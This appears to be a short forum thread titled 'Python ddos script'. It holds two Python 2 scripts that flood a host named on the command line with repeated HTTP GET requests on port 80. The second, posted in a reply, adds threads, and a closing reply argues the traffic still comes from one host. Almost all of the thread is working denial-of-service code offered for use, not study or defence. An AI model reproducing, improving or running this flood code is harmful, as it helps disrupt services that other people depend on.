Python ddos script

ddos.py

import socket, sys, os  
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];  
def attack():  
    #pid = os.fork()  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((sys.argv[1], 80))  
    print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
    s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
    s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
    s.close()  
for i in range(1, 1000):  
    attack()  

Thats not a DDoS. It's only a DoS. DDoS=Distributed Denial Of Service while DoS=Denial Of Service. For it to be a DDoS you need to implement threading. Its not perfect obviously, but something like:

import socket, sys, os, threading, time
print "][ Attacking " + sys.argv[1]  + " ... ]["  
print "injecting " + sys.argv[2];
global level  
level=sys.argv[3]
def attack():  
    #pid = os.fork()  
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        s.connect((sys.argv[1], 80))  
        print ">> GET /" + sys.argv[2] + " HTTP/1.1"  
        s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")  
        s.send("Host: " + sys.argv[1]  + "\r\n\r\n");  
        s.close()
    except:
        print(">> Socket Dead.")
    for x in range(1, 2000):
        time.sleep(0.009) #So it doesnt break after going to fast        
        attack()
def threader():
    global threads
    threads=[]
    for i in range(1, int(level)):
        t=threading.Thread(target=attack)
        threads.append(t)
        t.start()
threader()

that's still not a ddos, it's coming from one host, it would have to be spoofed or proxied for it to be a ddos